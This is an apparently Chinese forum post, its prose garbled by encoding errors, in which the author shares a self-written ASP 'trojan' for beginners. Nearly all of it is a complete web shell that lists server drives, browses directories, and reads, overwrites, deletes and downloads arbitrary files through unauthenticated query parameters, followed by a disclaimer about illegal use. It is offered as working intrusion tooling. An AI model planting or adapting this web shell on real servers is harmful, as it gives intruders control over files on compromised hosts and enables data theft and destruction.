[Ô­´´]×ÔÒѸÕдµÄASPľÂí£¬¹©³õѧÕß½»Á÷

Òã¸è

ÒÔÇ°Óùý±ðÈËдµÄASPľÂí£¬´úÂëÄÑÒÔ¶Á¶®£¬
×ÔÒÑÊÔ×ÅдÁËÒ»Ò³£¬Ë书Äܲ»ÍêÉÆ£¬µ«Çå³þÒ׶®£¬¹©½»Á÷ѧϰ¡£
Íû¸ßÊÖÃDz»Òª¼ûЦ£¡£¡

´úÂ벿·Ö£º

----------------------------------------------------
<%
response.write"<CENTER>"
fpath=Request.Querystring("fpath")
ac=Request.Querystring("ac")
ftext = Request.form("ftext")

if fpath = "" then
fpath = "C:\"
end if

'ÏÔʾ·þÎñÆ÷ÉϵÄËùÓÐÇý¶¯Æ÷ºÍÀàÐÍ
response.write"<font size=2>·þÎñÆ÷ÉÏÇý¶¯Æ÷: </font>"
Dim fsodri, d, dc, dri, n
Set fsodri = CreateObject("Scripting.FileSystemObject")
Set dc = fsodri.Drives
For Each d in dc
n = ""
dri = d.DriveLetter & ":"
If d.DriveType = 3 Then'Èç¹ûΪÍøÂçÓ°ÉäÅÌ
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(netdriver)"
response.write "</a> "
else
if d.DriveType = 4 Then'Èç¹ûΪ¹âÇý
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(CD-ROM)"
response.write "</a> "
ElseIf d.IsReady Then
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri
response.write "</a> "
end if
End If
Next

'ÏÔʾµ±Ç°Â·¾¶ºÍ±¾ÎļþµÄ¾ø¶Ô·¾¶
response.write"<br><br><font size=2>±¾ÎļþµÄ¾ø¶Ô·¾¶:</font><font size=2 color=#ff0000>"
response.write server.mappath(Request.ServerVariables("SCRIPT_NAME")) & "</font>"
response.write"<font size=2> µ±Ç°Ä¿Â¼»òÎļþ·¾¶Îª:</font><font size=2 color=#ff0000>" & fpath
response.write"</font><br>"

'ÉèÖ÷µ»ØÉÏÒ»¼¶Ä¿Â¼Á´½Ó
if ac<>"view" and ac<>"save" and ac<>"delf" and ac<>"download" then'È¥³ý·¾¶ÎªÎļþµÄ»î¶¯,·ÀÖ¹³ö´í
Dim fsoback, fback, sback
Set fsoback = CreateObject("Scripting.FileSystemObject")
if fsoback.FolderExists(fpath) then 'ÅжÏ,µ±Çý¶¯(¹âÇý)δ׼±¸ºÃʱ·ÀÖ¹³ö´í
Set fback = fsoback.GetFolder(fpath)
If fback.IsRootFolder Then
sback ="<font size=2 color=#ff0000>µ±Ç°Îļþ¼ÐÊǸùÎļþ¼Ð¡£</font>"
response.write sback & "<br>"
Else
sback =UCase(fback.ParentFolder)
response.write "<A href='"&url&"?fpath=" & sback
response.write " '><font size=2>·µ»ØÉÏÒ»¼¶Ä¿Â¼</font></a><br>"
end if
end if
end if
response.write "__________________________________________________________<br><br>"

select case ac
case "view" '²é¿´±à¼­Îı¾Îļþ
view(text)
case "save" '±£´æ¶ÔÎļþµÄÐÞ¸Ä
textsave()
case "delf" 'ɾ³ýÖ¸¶¨Îļþ
DeleteAFile(fpath)
case "download" 'ÏÂÔØÖ¸¶¨Îļþ
downloadFile(fpath)
case "delford" 'ɾ³ýÖ¸¶¨Îļþ¼Ð
DeleteAFolder(fpath)
case ""
'´´½¨FSO¶ÔÏñ
Dim fso, f, f1, fc, s, sf
Set fso = CreateObject("Scripting.FileSystemObject")

if not fso.FolderExists(fpath) then 'ÅжÏ,µ±Çý¶¯(¹âÇý)δ׼±¸ºÃʱ·ÀÖ¹³ö´í
Response.Write("<h1>Error:</h1>" & fpath & " É豸δ׼±¸ºÃ!<p>")
else


Set f = fso.GetFolder(fpath)
Set fc = f.Files
set sf = f.SubFolders
asdf=f.ShortPath

response.write "<table width='700' height='15' border='1' cellpadding='0' cellspacing='0' style='border-collapse:collapse'>"
response.write "<tr>"

For Each f1 in sf 'ÏÔʾÎļþ¼Ð
z = f1.name
d = asdf & "\" & z
z1= z
response.write "<td height='15' width='500'>"
d=replace(d,"\\","\")
response.write "<A href='"&url&"?fpath=" & d
response.write " ' >" & z1
response.write "</a></td><td>"
response.write "<A href='"&url&"?ac=delford&fpath=" & d
response.write "'>ɾ³ý</td><td>icecool</td>"
response.write "<td>1832306</td></tr>"
Next


For Each f1 in fc 'ÏÔʾÎļþ
s = f1.name
vfilepath=asdf & "\" & s
s1="------" & s
response.write "<td height='15' width='500'>"
response.write s1
response.write "</td><td>"
vfilepath=replace(vfilepath,"\\","\")
response.write "<a href='"&url&"?ac=delf&fpath=" & vfilepath
response.write "'>ɾ³ý</a></td>"
response.write "<td><A href='"&url&"?ac=view&fpath=" & vfilepath
response.write " '>±à¼­</a></td>"
response.write "<td><A href='"&url&"?ac=download&fpath=" & vfilepath
response.write " '>ÏÂÔØ</a></td></tr>"
Next
end if
response.write "</table>"
end select

function view(text) '¶ÁÈ¡±à¼­Îı¾Îļþ
dim ts,wee,fso1,fz
Const ForReading = 1
Response.Write "<b>¶ÁÈ¡Îļþ</b> <br>"
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set ts = fso1.OpenTextFile(""& fpath &"", ForReading)
Set fz = fso1.getFile(fpath)
if fz.size <= 0 then 'ÓÃIFÓï¾äÅжϸÃÎļþÊÇ·ñΪ0×Ö½ÚÎļþ,ÒòREADALL¶ÁÈ¡0×Ö½ÚÎļþ»á³ö´í
response.write "¸ÃÎļþΪ0×Ö½ÚÎļþ,ÎÞÈκÎÄÚÈÝ"
else
wee = ts.Readall
end if
response.write "<form name='form1' method='post' action='"&url&"?ac=save&fpath=" & fpath
response.write "'>"
Response.Write "<textarea name='ftext' cols='100' rows='20'>"&wee
Response.Write "</textarea>"
response.write "<input type='submit' name='Submit' value='±£´æ'>"
ts.Close
end function


function textsave() '±£´æ±à¼­Îı¾Îļþ
Dim fso, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile(""& fpath &"", True)
f1.WriteLine(""& ftext &"")' ÏòÎļþдÈëÎı¾¿òÀïµÄÄÚÈÝ¡£
f1.Close
set f1=nothing
response.write"ÎļþÐ޸ijɹ¦,Çë·µ»Øˢв鿴!<br>"
end function


Sub DeleteAFile(fpath) 'ɾ³ýÖ¸¶¨Îļþ
Dim fsodel
Set fsodel = CreateObject("Scripting.FileSystemObject")
fsodel.DeleteFile(fpath)
response.write "ɾ³ýÎļþ³É¹¦,Çë·µ»Øˢв鿴!"
End Sub


Sub DeleteAFolder(fpath) 'ɾ³ýÖ¸¶¨Îļþ¼Ð
Dim fsodelford
Set fsodelford = CreateObject("Scripting.FileSystemObject")
fsodelford.DeleteFolder(fpath)
response.write "ɾ³ýÎļþ¼Ð³É¹¦,Çë·µ»Øˢв鿴!"
End Sub


function downloadFile(strFilename)'ÏÂÔØÖ¸¶¨Îļþ
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream")
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
response.write"</CENTER>"

'ÒÔÏÂÉèÖÃʽÑù
response.write"<br><CENTER><font size=2>¾¯¸æ£º¶Ô·Ç·¨Ê¹Óô˳ÌÐò¿ÉÄÜ´øÀ´µÄÈκβ»Á¼ºó¹ûÔðÈÎ×Ô¸º!<br>"
response.write"Design By <a href='mailto:1832306@163.com'>³Ô²ÝµÄÀÇ</a> QQ:1832306<BR></CENTER></font>"
response.write"<style type='text/css'>"
response.write"<!--"
response.write"A{text-decoration:none;color:navy}"
response.write"A:hover {COLOR: #ff0000; }"
response.write"TD.cls3"
response.write"{"
response.write"BORDER-BOTTOM: #FFB811 2px solid;"
response.write"}"
response.write"-->"
response.write"</style>"
response.write"<style type='text/css'>"
response.write"<!--"
response.write"table {"
response.write" font-size: 9pt;"
response.write" text-decoration: none;"
response.write" border: 1px solid #000000;"
response.write"}"
response.write"-->"
response.write"</style>"
%>

-------------------------------------------------------------
²¿·Ö¹¦ÄÜ¿É×ÔÒÑÍêÉÆ£¡